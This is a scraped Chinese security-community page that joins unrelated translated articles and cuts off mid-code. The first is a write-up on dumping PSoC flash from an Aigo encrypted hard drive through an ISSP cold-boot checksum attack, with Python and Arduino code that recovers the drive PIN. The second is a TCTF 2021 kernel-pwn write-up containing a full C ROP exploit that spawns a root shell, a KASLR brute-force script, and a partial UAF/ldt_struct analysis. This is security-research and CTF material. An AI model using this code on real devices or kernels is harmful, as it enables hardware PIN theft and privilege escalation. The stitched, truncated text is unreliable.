4. [TechNet blog post about Windows 8+ heap mitigations](https://blogs.technet.microsoft.com/srd/2013/10/29/software-defense-mitigating-heap-corruption-vulnerabilities/) | 社区文章 |
# 爱国者HDD硬盘破解教程（下集）
##### 译文声明
本文是翻译文章，文章来源：syscall.eu
原文地址：<https://syscall.eu/blog/2018/03/12/aigo_part2/>
译文仅供参考，具体内容表达以及含义原文为准。
### **传送门：**[爱国者HDD硬盘破解教程（上集）](https://www.anquanke.com/post/id/101017)
## 写在前面的话
在本系列文章的上集中，我们对爱国者SK8671移动硬盘的内部构造以及电路板运行情况进行了分析，在本系列文章的下集，我们将会告诉大家如何导出PSoC内部闪存数据（Cypress
PSoC 1）。
### 长话短说
我对ISSP协议进行了逆向分析，然后成功绕过了保护机制，最后成功导出了Cypress PSoC
1（CY8C21434）的闪存内存数据。这里，我可以直接导出硬盘驱动器的PIN码：
$ ./psoc.py
syncing: KO OK
[...]
PIN: 1 2 3 4 5 6 7 8 9
### 工具获取
Arduino for HSSP：【[传送门](https://github.com/trou/arduino_hssp)】
Python驱动器+ISSP反汇编工具：【[传送门](https://github.com/trou/cypress_psoc_tools)】
## 介绍
从本系列文章的上集中我们可以看到，Cypress PSoC
1（CY8C21434）微型控制器看起来是一个很好的攻击目标，因为其中包含了设备PIN码。而且网上也没有公开的相关攻击代码，所以我准备深入研究一下。
我们的目标是读取其内部闪存数据，因此下面这几步是我们必须实现的：
* 尝试与微控制器交互；
* 想办法检测其是否可以防止外部读取操作；
* 想办法绕过防御机制；
我们可以寻找有效PIN码的地方主要有下面这两个：
* 内部闪存；
* SRAM（可能存储了需要跟用户输入的PIN码进行比对的数据）；
## ISSP协议
不同厂商生产的设备在与微控制器交互式可能是用的是不同的方法，但是绝大多数都需要使用一种串行协议（比如说ICSP）。
Cypress自己的专用协议名叫ISSP，即系统串行编程协议【描述文档一】【描述文档二】。社区还有一个针对ISSP协议的开源项目，名叫HSSP【GitHub传送门】，本文接下来的测试过程需要使用到这个项目。
ISSP的工作机制大致如下：
* 重置µC；
* 向µC的串行数据针脚输入特殊数值，并进入外部编程模式；
* 发送控制命令（攻击向量）；
ISSP文档中只定义了以下几种向量：
Initialize-1
Initialize-2
Initialize-3
ID-SETUP
READ-ID-WORD
SET-BLOCK-NUM: 10011111010dddddddd111，其中dddddddd=block #
BULK ERASE
PROGRAM-BLOCK
VERIFY-SETUP
READ-BYTE: 10110aaaaaaZDDDDDDDDZ1，其中DDDDDDDD = data out, aaaaaa = address (6 bits)
WRITE-BYTE: 10010aaaaaadddddddd111，其中dddddddd = data in, aaaaaa = address (6 bits)
SECURE
CHECKSUM-SETUP
READ-CHECKSUM: 10111111001ZDDDDDDDDZ110111111000ZDDDDDDDDZ1，其中DDDDDDDDDDDDDDDD = Device Checksum data out
ERASE BLOCK
比如说，针对Initialize-2的向量如下：
1101111011100000000111 1101111011000000000111
1001111100000111010111 1001111100100000011111
1101111010100000000111 1101111010000000011111
1001111101110000000111 1101111100100110000111
1101111101001000000111 1001111101000000001111
1101111000000000110111 1101111100000000000111
1101111111100010010111
每一个向量长度都是22位，似乎满足的是某种特定模式。幸运的是，HSSP文档给我们提供了很大的帮助，文档中暗示称：“ISSP向量只是代表一套指令集的比特位序列。“
### 向量分析
一开始，我认为这些命令向量可能是原始M8C指令，但相关的操作码并不匹配。于是我在Google上搜索了关于第一个向量的内容，然后发现了Ahmed
Ismail的这篇【研究报告】，但是他并没有深入讨论细节内容，感兴趣的同学可以自行阅读了解。
然后再阅读了技术手册的SROM章节之后，我们等到了很多有用的信息。SROM是硬编码（ROM）在PSoC中的，并且提供了很多功能函数（例如syscalls）：
00h : SWBootReset
01h : ReadBlock
02h : WriteBlock
03h : EraseBlock
06h : TableRead
07h : CheckSum
08h : Calibrate0
09h : Calibrate1
根据命令向量名称和SROM函数的比对结果，我们可以了解该协议所支持的各项功能以及相关的SROM参数。
我们对之前命令向量的前三位进行了解码：
100 => “wrmem”
101 => “rdmem”
110 => “wrreg”
111 => “rdreg”
为了更好地了解协议的运行机制，我们还需要跟µC进行交互。
### PSoC交互
Dirk Petrautzki已经在Arduino上发布了Cypress的HSSP代码，我可以使用Arduino
Uno来跟键盘PCB板的ISSP头通信。需要注意的是，在研究过程中我对Dirk的代码进行了大量的修改，你可以在我的GitHub上找到相关代码【传送门】。用于跟Arduino交互的Python脚本代码托管在我另一个GitHub库中【cypress_psoc_tools】。
在Arduino的帮助下，为了使用VERIFY命令来尝试从内部ROM中读取数据，我一开始使用的是“官方“命令向量来进行通信。但是失败了，很可能是因为闪存拥有相应的保护机制。
接下来，我又使用我自己的向量来读取/写入内存和寄存器。需要注意的是，我可以在闪存受保护的情况下读取整个SRAM。
### 识别内部寄存器
在对向量进行了反编译之后，我发现某些未记录在文档中的寄存器（0xF8-0xFA）甚至可以直接定义并执行M8C操作码。这将允许我们运行各种操作命令，例如ADD、MOV
A,X、PUSH和JMP等等。通过对寄存器的运行状态进行分析后，我可以识别出每个寄存器的真实作用（A, X, SP和PC）。
HSSP_disas.rb生成的反编译向量如下：
--== init2 ==-- [DE E0 1C] wrreg CPU_F (f7), 0x00 # reset flags
[DE C0 1C] wrreg SP (f6), 0x00 # reset SP
[9F 07 5C] wrmem KEY1, 0x3A # Mandatory arg for SSC
[9F 20 7C] wrmem KEY2, 0x03 # same
[DE A0 1C] wrreg PCh (f5), 0x00 # reset PC (MSB) ...
[DE 80 7C] wrreg PCl (f4), 0x03 # (LSB) ... to 3 ??
[9F 70 1C] wrmem POINTER, 0x80 # RAM pointer for output data
[DF 26 1C] wrreg opc1 (f9), 0x30 # Opcode 1 => "HALT"
[DF 48 1C] wrreg opc2 (fa), 0x40 # Opcode 2 => "NOP"
[9F 40 3C] wrmem BLOCKID, 0x01 # BLOCK ID for SSC call
[DE 00 DC] wrreg A (f0), 0x06 # "Syscall" number : TableRead
[DF 00 1C] wrreg opc0 (f8), 0x00 # Opcode for SSC, "Supervisory SROM Call"
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12 # Undocumented op: execute external opcodes
### 安全比特
此时，我们已经可以跟PSoC交互了，但是我们需要关于闪存保护的详细信息。Cypress没有给用户提供任何检测设备保护状态的方法，我在网上搜索了一番之后，发现Cypress已经更新了HSSP代码。
下面给出的是新出现的命令向量：
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[9F A0 1C] wrmem 0xFD, 0x00 # Unknown args
[9F E0 1C] wrmem 0xFF, 0x00 # same
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 02 1C] wrreg A (f0), 0x10 # Undocumented syscall !
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12
通过使用这个向量（psoc.py中的read_security_data），我们得到了SRAM（0x80，每个数据块2比特）中所有的安全比特数据。
由此看来，“禁用外部读取“模式下，任何数据都是受保护的，所以我们不能通过向闪存写入输入来插入ROM导入工具。因此，如果想重置保护功能，我们只能擦除整块芯片。
## 首次攻击（失败）：ROMX
我们首先设想的是：既然我们可以执行任意操作码，为什么不直接执行ROMX来读取闪存数据呢？因为编程向量所使用的SROM
ReadBlock函数会判断该命令是否是从ISSP调用的，而ROMX操作码并不会进行这种检测。
Python代码（参考了Arduino C代码）如下：
for i in range(0, 8192):
write_reg(0xF0, i>>8) # A = 0
write_reg(0xF3, i&0xFF) # X = 0
exec_opcodes("x28x30x40") # ROMX, HALT, NOP
byte = read_reg(0xF0) # ROMX reads ROM[A|X] into A
print "%02x" % ord(byte[0]) # print ROM byte
不幸的是，这并不管用。但我并不认为这是一种保护机制，我觉得是一种技术把戏，因为在执行外部操作码时，ROM总线会切换到一个临时缓冲区。
## 二次攻击：冷启动攻击
由于ROMX没效果，我感觉可以使用Johannes Obermaier和Stefan Tatschner在【这篇论文】的3.1章所介绍的方法。
### 攻击实现
ISSP手册给我们提供了下面这个CHECKSUM-SETUP向量：
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[9F 40 1C] wrmem BLOCKID, 0x00
[DE 00 FC] wrreg A (f0), 0x07
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12
而接下来代码会调用SROM函数0x07（Checksum函数），所以完整攻击的理论步骤如下：
1. 使用ISSP与设备连接；
2. 使用CHECKSUM-SETUP向量计算校验和；
3. 时间T后重置CPU；
4. 读取RAM来获取当前的校验值C；
5. 重复第三和第四步，每次增加时间T（增加一点点）；
6. 通过连续计算（减法）校验和C恢复闪存内容；
实现该攻击的Arduino代码其实非常简单：
case Cmnd_STK_START_CSUM:
checksum_delay = ((uint32_t)getch())<<24;
checksum_delay |= ((uint32_t)getch())<<16;
checksum_delay |= ((uint32_t)getch())<<8;
checksum_delay |= getch();
if(checksum_delay > 10000) {
ms_delay = checksum_delay/1000;
checksum_delay = checksum_delay%1000;
}
else {
ms_delay = 0;
}
send_checksum_v();
if(checksum_delay)
delayMicroseconds(checksum_delay);
delay(ms_delay);
start_pmode();
1. 代码首先读取了checkum_delay；
2. 然后开始计算校验和（send_checksum_v）；
3. 等待一定的时间；
4. 将PSoC重置为prog模式（不需要发送初始向量）；
最终的Python攻击代码如下：
for delay in range(0, 150000): # delay in microseconds
for i in range(0, 10): # number of reads for each delay
try:
reset_psoc(quiet=True) # reset and enter prog mode
send_vectors() # send init vectors
ser.write("x85"+struct.pack(">I", delay)) # do checksum + reset after delay
res = ser.read(1) # read arduino ACK
except Exception as e:
print e
ser.close()
os.system("timeout -s KILL 1s picocom -b 115200 /dev/ttyACM0 2>&1 > /dev/null")
ser = serial.Serial('/dev/ttyACM0', 115200, timeout=0.5) # open serial port
continue
print "%05d %02X %02X %02X" % (delay, # read RAM bytes
read_regb(0xf1),
read_ramb(0xf8),
read_ramb(0xf9))
### 读取数据
我们Python脚本的输出结果如下所示（经过简化处理，方便阅读）：
DELAY F1 F8 F9 # F1 is the unknown reg
# F8 is the checksum LSB
# F9 is the checksum MSB
00000 03 E1 19
[…]
00016 F9 00 03
00016 F9 00 00
00016 F9 00 03
00016 F9 00 03
00016 F9 00 03
00016 F9 00 00 # Checksum is reset to 0
00017 FB 00 00
[…]
00023 F8 00 00
00024 80 80 00 # First byte is 0x0080-0x0000 = 0x80
00024 80 80 00
00024 80 80 00
[…]
00057 CC E7 00 # 2nd byte is 0xE7-0x80: 0x67
00057 CC E7 00
00057 01 17 01 # I have no idea what’s going on here
00057 01 17 01
00057 01 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 F8 E7 00 # E7 is back ?
00058 D0 17 01
[…]
00059 E7 E7 00
00060 17 17 00 # Hmmm
[…]
00062 00 17 00
00062 00 17 00
00063 01 17 01 # Oh ! Carry is propagated to MSB
00063 01 17 01
[…]
00075 CC 17 01 # So 0x117-0xE7: 0x30
注：每一个µs需要进行十次数据导出，所以导出8192字节的闪存数据大约需要48个小时。
### 重构闪存镜像
考虑到所有的时间问题，我现在还没有开发关于闪存恢复的代码。但是我确实恢复出了一部分数据，为了确保数据的正确性，我用m8cdis对其进行了反编译。结果证明数据没有问题，数据如下，
0000: 80 67 jmp 0068h ; Reset vector
[...]
0068: 71 10 or F,010h
006a: 62 e3 87 mov reg[VLT_CR],087h
006d: 70 ef and F,0efh
006f: 41 fe fb and reg[CPU_SCR1],0fbh
0072: 50 80 mov A,080h
0074: 4e swap A,SP
0075: 55 fa 01 mov [0fah],001h
0078: 4f mov X,SP
0079: 5b mov A,X
007a: 01 03 add A,003h
007c: 53 f9 mov [0f9h],A
007e: 55 f8 3a mov [0f8h],03ah
0081: 50 06 mov A,006h
0083: 00 ssc
[...]
0122: 18 pop A
0123: 71 10 or F,010h
0125: 43 e3 10 or reg[VLT_CR],010h
0128: 70 00 and F,000h ; Paging mode changed from 3 to 0
012a: ef 62 jacc 008dh
012c: e0 00 jacc 012dh
012e: 71 10 or F,010h
0130: 62 e0 02 mov reg[OSC_CR0],002h
0133: 70 ef and F,0efh
0135: 62 e2 00 mov reg[INT_VC],000h
0138: 7c 19 30 lcall 1930h
013b: 8f ff jmp 013bh
013d: 50 08 mov A,008h
013f: 7f ret
### 定位PIN码地址
既然我们可以实时读取任意节点的校验和，我们可以轻松判断下列情况：
1. 输入了错误PIN码；
2. 修改PIN码；
首先，为了定位PIN码的大概地址，然后在重置之后导出了校验和（10ms一次）。我不断地输入了错误的PIN码。结果并不令人满意，但是我发现校验和在120000µs到140000µs之间会改变一次。于是我突然想到了SROM的CheckSum系统调用，这个函数有一个参数允许我们指定需要校验的数据块数量。因此，我们可以轻松定位到PIN码位置以及错误PIN码计数器：
No bad PIN | 14 tries remaining | 13 tries remaining
block 125 : 0x47E2 | block 125 : 0x47E2 | block 125 : 0x47E2
block 126 : 0x6385 | block 126 : 0x634F | block 126 : 0x6324
block 127 : 0x6385 | block 127 : 0x634F | block 127 : 0x6324
block 128 : 0x82BC | block 128 : 0x8286 | block 128 : 0x825B
接下来，我将PIN码从“123456”改成了“1234567”：
No bad try 14 tries remaining
block 125 : 0x47E2 block 125 : 0x47E2
block 126 : 0x63BE block 126 : 0x6355
block 127 : 0x63BE block 127 : 0x6355
block 128 : 0x82F5 block 128 : 0x828C
### 恢复PIN码
综上所述，我开发的代码可以直接恢复出PIN码：
def dump_pin():
pin_map = {0x24: "0", 0x25: "1", 0x26: "2", 0x27:"3", 0x20: "4", 0x21: "5",
0x22: "6", 0x23: "7", 0x2c: "8", 0x2d: "9"}
last_csum = 0
pin_bytes = []
for delay in range(145495, 145719, 16):
csum = csum_at(delay, 1)
byte = (csum-last_csum)&0xFF
print "%05d %04x (%04x) => %02x" % (delay, csum, last_csum, byte)
pin_bytes.append(byte)
last_csum = csum
print "PIN: ",
for i in range(0, len(pin_bytes)):
if pin_bytes[i] in pin_map:
print pin_map[pin_bytes[i]],
print
代码的输出结果如下：
$ ./psoc.py
syncing: KO OK
Resetting PSoC: KO Resetting PSoC: KO Resetting PSoC: OK
145495 53e2 (0000) => e2
145511 5407 (53e2) => 25
145527 542d (5407) => 26
145543 5454 (542d) => 27
145559 5474 (5454) => 20
145575 5495 (5474) => 21
145591 54b7 (5495) => 22
145607 54da (54b7) => 23
145623 5506 (54da) => 2c
145639 5506 (5506) => 00
145655 5533 (5506) => 2d
145671 554c (5533) => 19
145687 554e (554c) => 02
145703 554e (554e) => 00
PIN: 1 2 3 4 5 6 7 8 9
## 总结
大家可以看到，我们成功地破解了这款加密硬盘的安全保护机制，因为它使用了普通的（非硬编码）微型控制器来存储PIN码。那么爱国者应该怎么办呢？在对其他几款加密HDD进行了分析之后，我们发布了这篇关于设计安全加密外部存储驱动器的【[研究报告](https://syscall.eu/pdf/syscan_2015_rigo_secure_hdd.pdf)】，并且给出了很多最佳实践方案，感兴趣的同学可以了解一下。 | 社区文章 |
# TCTF/0CTF 2021-FINAL 两道 kernel pwn 题解
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00.一切开始之前
[官方题解见此处](https://github.com/YZloser/My-CTF-Challenges/tree/master/0ctf-2021-final/kernote)
前些日子打了 TCTF 2021 FINAL，其中刚好有两道 Linux kernel pwn
题，笔者在比赛期间没有多少头绪，而这两道题在新星赛中也是全场零解
笔者最近趁有时间把这两道题复现了一下，其中的 kernote 是一道质量十分不错的 kernel UAF，感兴趣的可以抽空复现一下
## 0x01.kbrops
> 签到题难度都算不上，但是需要一点小小的运气…
### 一、题目分析
### 保护
查看 `/sys/devices/system/cpu/vulnerabilities/`
开启了 KPTI（内核页表隔离，一般简称页表隔离（PTI），笔者更喜欢用全称）
查看启动脚本
#!/bin/bash
stty intr ^]
cd `dirname $0`
timeout --foreground 300 qemu-system-x86_64 \
-m 256M \
-enable-kvm \
-cpu host,+smep,+smap \
-kernel bzImage \
-initrd initramfs.cpio.gz \
-nographic \
-monitor none \
-drive file=flag.txt,format=raw \
-snapshot \
-append "console=ttyS0 kaslr kpti quiet oops=panic panic=1"
开了 smap、smep、kaslr 保护
在这里并没有像常规的 kernel pwn 那样把 flag 权限设为 root 600 放在文件系统里，而是将 flag
作为一个设备载入，因此我们需要读取 `/dev/sda` 以获取 flag，仍然需要 root 权限
**逆向分析**
整个程序只定义了一个 ioctl 的 0x666 功能，会取我们传入的前两个字节作为后续拷贝的 size，之后 kmalloc 一个
object，从我们传入的第三个字节开始拷贝，之后再从 object 拷贝到栈上，因为两个字节最大就是 0xffff，所以这里直接就有一个裸的栈溢出
### 二、漏洞利用
既然目前有了栈溢出，而且没有 stack canary 保护，比较朴素的提权方法就是执行
`commit_creds(prepare_kernel_cred(NULL))` 提权到 root，但是由于开启了 kaslr，因此我们还需要知道
kernel offset，但是毫无疑问的是只有一个裸的溢出是没法让我们直接泄漏出内核中的数据的
这里 r3kapig 给出的解法是 **假装他没有这个 kaslr，然后直接硬打** ，据称大概试个几百次就能成功
赛后在 discord 群组中讨论，得知 kaslr 的随机化只有 9位，可以直接进行爆破
笔者写了个爆破偏移用的 exp ：
#include <sys/types.h>
#include <sys/ioctl.h>
#include <stdio.h>
#include <signal.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#define PREPARE_KERNEL_CRED 0xffffffff81090c20
#define COMMIT_CREDS 0xffffffff810909b0
#define POP_RDI_RET 0xffffffff81001619
#define SWAPGS_RET 0xffffffff81b66d10
#define IRETQ_RET 0xffffffff8102984b
#define SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE 0Xffffffff81c00df0
size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}
void getRootShell(void)
{
puts("\033[32m\033[1m[+] Backing from the kernelspace.\033[0m");
if(getuid())
{
puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
exit(-1);
}
puts("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m");
system("/bin/sh");
}
int main(int argc, char ** argv, char ** envp)
{
char *buf;
size_t *stack;
int i;
int chal_fd;
size_t offset;
offset = (argv[1]) ? atoi(argv[1]) : 0;
saveStatus();
buf = malloc(0x2000);
memset(buf, 'A', 0x2000);
i = 0;
stack = (size_t*)(buf + 0x102);
stack[i++] = *(size_t*)"arttnba3"; // padding
stack[i++] = *(size_t*)"arttnba3"; // rbp
stack[i++] = POP_RDI_RET + offset;
stack[i++] = 0;
stack[i++] = PREPARE_KERNEL_CRED + offset;
stack[i++] = COMMIT_CREDS + offset;
stack[i++] = SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE + 22 + offset;
stack[i++] = 0;
stack[i++] = 0;
stack[i++] = (size_t) getRootShell;
stack[i++] = user_cs;
stack[i++] = user_rflags;
stack[i++] = user_sp;
stack[i++] = user_ss;
((unsigned short *)(buf))[0] = 0x112 + i * 8;
chal_fd = open("/proc/chal", O_RDWR);
ioctl(chal_fd, 0x666, buf);
return 0;
}
> 这里 ROP 链布局中 `prepare_kernel_cred` 后直接就到 `commit_creds` 是因为经过笔者调试发现在执行完
> `prepare_kernel_cred` 后此时的 rax 与 rdi 都指向 root cred，因此不需要再 `mov rdi, rax`
>
>
打远程用的脚本：
from pwn import *
import base64
#context.log_level = "debug"
with open("./exp", "rb") as f:
exp = base64.b64encode(f.read())
p = process('./run.sh')#remote("127.0.0.1", 1234)
try_count = 1
while True:
log.info("no." + str(try_count) + " time(s)")
p.sendline()
p.recvuntil("~ $")
count = 0
for i in range(0, len(exp), 0x200):
p.sendline("echo -n \"" + exp[i:i + 0x200].decode() + "\" >> b64_exp")
count += 1
for i in range(count):
p.recvuntil("~ $")
p.sendline("cat b64_exp | base64 -d > ./exploit")
p.sendline("chmod +x ./exploit")
randomization = (try_count % 1024) * 0x100000
log.info('trying randomization: ' + hex(randomization))
p.sendline("./exploit " + str(randomization))
if not p.recvuntil(b"Rebooting in 1 seconds..", timeout=60):
break
log.warn('failed!')
try_count += 1
log.success('success to get the root shell!')
p.interactive()
运气好的话可以很快拿到 flag，大概只需要爆破几百次左右
## 0x02.kernote
### 一、题目分析
这一题的题解笔者主要还是参照着官方的题解来写的，是本场比赛中给笔者带来收获最大的一道 kernel pwn 题
**文件系统**
与一般的 kernel pwn 题不同的是，这一次给出的文件系统不是简陋的 ramfs 而是常规的 ext4 镜像文件，我们可以使用 `mount`
命令将其挂载以查看并修改其内容
$ sudo mount rootfs.img /mnt/temp
本地调试时直接将文件复制到挂载点下即可，不需要额外的重新打包的步骤
**保护**
我们首先查看题目提供的 `README.md`：
> Here are some kernel config options in case you need it
>
>
> CONFIG_SLAB=y
> CONFIG_SLAB_FREELIST_RANDOM=y
> CONFIG_SLAB_FREELIST_HARDENED=y
> CONFIG_HARDENED_USERCOPY=y
> CONFIG_STATIC_USERMODEHELPER=y
> CONFIG_STATIC_USERMODEHELPER_PATH=""
>
我们可以看到的是出题人在编译内核时并没有选择默认的 slub 分配器，而是选择了 `slab` 分配器，后续我们解题的过程也与 slab 的特征有关
* 开启了 Random Freelist（slab 的 freelist 会进行一定的随机化）
* 开启了 Hardened Freelist（slab 的 freelist 中的 object 的 next 指针会与一个 cookie 进行异或（参照 glibc 的 safe-linking））
* 开启了 Hardened Usercopy（在向内核拷贝数据时会进行检查，检查 **地址是否存在、是否在堆栈中、是否为 slab 中 object、是否非内核 .text 段内地址等等** ）
* 开启了 Static Usermodehelper Path（modprobe_path 为只读，不可修改）
接下来分析启动脚本
#!/bin/sh
qemu-system-x86_64 \
-m 128M \
-kernel ./bzImage \
-hda ./rootfs.img \
-append "console=ttyS0 quiet root=/dev/sda rw init=/init oops=panic panic=1 panic_on_warn=1 kaslr pti=on" \
-monitor /dev/null \
-smp cores=2,threads=2 \
-nographic \
-cpu kvm64,+smep,+smap \
-no-reboot \
-snapshot \
-s
* 开启了 SMAP & SMEP（用户空间数据访问（access）、执行（execute）保护）
* 开启了 KASLR（内核地址空间随机化）
* 开启了 KPTI（内核页表隔离）
**逆向分析**
题目给出了一个内核模块 `kernote.ko`，按惯例这便是存在漏洞的内核模块
拖入 IDA 进行分析，不能看出是常见的内核菜单堆形式，只定义了 ioctl且加了🔒
**0x6667. 分配 object**
0x6667 功能可以分配 object，在这里存在一个全局指针数组 buf 用以存放 object 指针，我们最多可以同时存放 0xF 个 object
指针，而分配的大小限定为 0x8
在这里有一个 slab 与 slub 相不同的点：对于以往的 slub 分配器而言，若是我们 kmalloc(8) 则通常会从 `kmalloc-8`
中取大小为 8 的 object；但是在 slab 源码中有如下定义：
> 内核源码版本5.11，include/linux/slab.h
#ifdef CONFIG_SLAB
/*
* The largest kmalloc size supported by the SLAB allocators is
* 32 megabyte (2^25) or the maximum allocatable page order if that is
* less than 32 MB.
*
* WARNING: Its not easy to increase this value since the allocators have
* to do various tricks to work around compiler limitations in order to
* ensure proper constant folding.
*/
#define KMALLOC_SHIFT_HIGH ((MAX_ORDER + PAGE_SHIFT - 1) <= 25 ? \
(MAX_ORDER + PAGE_SHIFT - 1) : 25)
#define KMALLOC_SHIFT_MAX KMALLOC_SHIFT_HIGH
#ifndef KMALLOC_SHIFT_LOW
#define KMALLOC_SHIFT_LOW 5
#endif
#endif
//...
/*
* Kmalloc subsystem.
*/
#ifndef KMALLOC_MIN_SIZE
#define KMALLOC_MIN_SIZE (1 << KMALLOC_SHIFT_LOW)
#endif
即 slab 分配器分配的 object 的大小 **最小为 32** ，那么我们应当是从 `kmalloc-32` 中取 object
> 阅读源码我们可以发现 slab 为 32， 而 slob 和 slub 都是 8
**0x6666. 保存 object 指针到全局变量 note**
这个功能将 buf 数组中指定 object 指针存放到全局变量 note 中，我们不难想到这里 **可能会有 UAF** ，后续分析我们可以发现确实如此
**0x6668. 释放指定 object**
比较纯粹的 free 功能，注意到这里是释放的 buf 数组内 object 后清空， **但是没有清空 note 数组** ，一个 UAF 已经呼之欲出了
**0x6669. 向 note 指向 object 内写入 8 字节**
UAF 已经贴脸了（）
**0x666A. 打印 note 所存 object 地址（无效功能）**
> 比赛的时候分析得比较痛苦的一个功能…赛后出题人说这个功能写来玩的（🔨）
一开始首先从一个奇怪的地方取了一个值， ~~虽然赛后看出题人写的源代码不是这个样子，但众所周知内核的很多宏展开及多层结构体套娃给逆向工作带来极大困难~~
笔者在比赛期间猜测应当是 `current_task->cred`
中某个值，后面找了对应内核版本源码自己写了个内核模块瞎猜偏移，最后试出来是`current_task->cred->user->__count`
前面这一段代码首先给 `current_task->cred->user` 的引用计数器 `__count` 成员 + 1，对应内核函数
`refcount_inc()` ，多层套娃调用展开后如下：
static inline void __refcount_add(int i, refcount_t *r, int *oldp)
{
int old = atomic_fetch_add_relaxed(i, &r->refs);
if (oldp)
*oldp = old;
if (unlikely(!old))
refcount_warn_saturate(r, REFCOUNT_ADD_UAF);
else if (unlikely(old < 0 || old + i < 0))
refcount_warn_saturate(r, REFCOUNT_ADD_OVF);
}
那么这段代码就不难理解了（ ~~不用理解了~~ ），v6 指向`current_task->cred->user->__count`，而 `__count`
是 user_struct 结构体的第一个成员，也就是 v6 指向 `current_task->cred->user`
> 赛后看出题人给的源码，这一段代码其实就只是一个 `get_current_user()`
那么下面的代码我们很容易看出是检测 `current_task->cred->user->uid->val`（uid 里面就封装了一个 val） 是否为0
，若为 0 也就是 root 才会进入到 kernote_ioctl_cold 中
最终 kernote_ioctl_cold 会打印 note 中存的 object 的地址， **但是我们一开始肯定不是 root
所以这个功能没有任何意义**
> 这个功能当时还差点让笔者分析错方向，我们前面已经有了一个 UAF，但在此处调用 get_current_user() 时 user
> 的引用计数器（user->__count）自动 + 1，而在结束时并没有让引用计数器自减 1（没有“释放”掉引用），这本身也算是一个
> bug，但实质上与解题是无关的 bug
>
>> 当然，这个 bug 也没法帮助我们完成提权
>
> 因而官方当时发了这样一个公告：
>
>
>
> 由于笔者的英文水平自从上了大学之后便几乎没有长进，在笔者看来——`release` 指的应该就是
> `free`，也就是说指的是前面的垂悬指针并不是题目的考察点（那这还怎么解题啊），于是有了如下对话：
>
>
>
> ~~虽然最后直到比赛结束笔者也没解出这道题~~
### 二、漏洞利用
那么我们现在只有一个 UAF，而且只能写 8 字节，没法直接泄露内核相关数据，分配的 object 大小限制为 32，这无疑为我们的解题增添了一定难度
**ldt_struct 结构体**
笔者参照官方题解选择使用 `ldt_struct` 这个内核结构体进行进一步利用，这里先简单讲一下这是个什么东西：
ldt 即 **局部段描述符表** （ **Local Descriptor Table** ），其中存放着 **进程的**
段描述符，段寄存器当中存放着的段选择子便是段描述符表中段描述符的索引
该结构体定义于内核源码 `arch/x86/include/asm/mmu_context.h` 中，如下：
struct ldt_struct {
/*
* Xen requires page-aligned LDTs with special permissions. This is
* needed to prevent us from installing evil descriptors such as
* call gates. On native, we could merge the ldt_struct and LDT
* allocations, but it's not worth trying to optimize.
*/
struct desc_struct *entries;
unsigned int nr_entries;
/*
* If PTI is in use, then the entries array is not mapped while we're
* in user mode. The whole array will be aliased at the addressed
* given by ldt_slot_va(slot). We use two slots so that we can allocate
* and map, and enable a new LDT without invalidating the mapping
* of an older, still-in-use LDT.
*
* slot will be -1 if this LDT doesn't have an alias mapping.
*/
int slot;
};
该结构体大小仅为 0x10，在分配时 slab 分配器毫无疑问会从 kmalloc-32
中取，且我们可控的其前八个字节又刚好是一个指针，为我们后续的利用提供了一定的便利性
**desc_struct 结构体**
我们所能控制的 entries 指针为 `desc_struct` 结构体，即 **段描述符** ，定义于
`/arch/x86/include/asm/desc_defs.h` 中，如下：
/* 8 byte segment descriptor */
struct desc_struct {
u16 limit0;
u16 base0;
u16 base1: 8, type: 4, s: 1, dpl: 2, p: 1;
u16 limit1: 4, avl: 1, l: 1, d: 1, g: 1, base2: 8;
} __attribute__((packed));
**低 32 位**
31~16 | 15~0
---|---
段基址的 15~0 位 | 段界限的 15~0 位
段基址 32 位，段界限为 20 位，其所能够表示的地址范围为：
`段基址 + （段粒度大小 x （段界限+1）） - 1`
**高 32 位**
31~24 | 23 | 22 | 21 | 20 | 19~16 | 15 | 14~13 | 12 | 11~8 | 7~0
---|---|---|---|---|---|---|---|---|---|---
段基址的 31~24 位 | G | D/B | L | AVL | 段界限的 19 ~16 位 | P | DPL | S | TYPE | 段基址的
23~16 位
各参数便不在此赘叙了，具其构造可以参见[全局描述符表（Global Descriptor Table） –
arttnba3.cn](https://arttnba3.cn/2021/06/24/CODE-0X00-A3OS/#%E4%B8%89%E3%80%81%E5%85%A8%E5%B1%80%E6%8F%8F%E8%BF%B0%E7%AC%A6%E8%A1%A8%EF%BC%88Global-Descriptor-Table%EF%BC%89)
**modify_ldt 系统调用**
Linux 提供给我们一个叫 `modify_ldt` 的系统调用，通过该系统调用我们可以 **获取或修改当前进程的 LDT**
我们来看一下在内核中这个系统调用是如何操纵 ldt 的，该系统调用定义于 `/arch/x86/kernel/ldt.c` 中，如下：
SYSCALL_DEFINE3(modify_ldt, int , func , void __user * , ptr ,
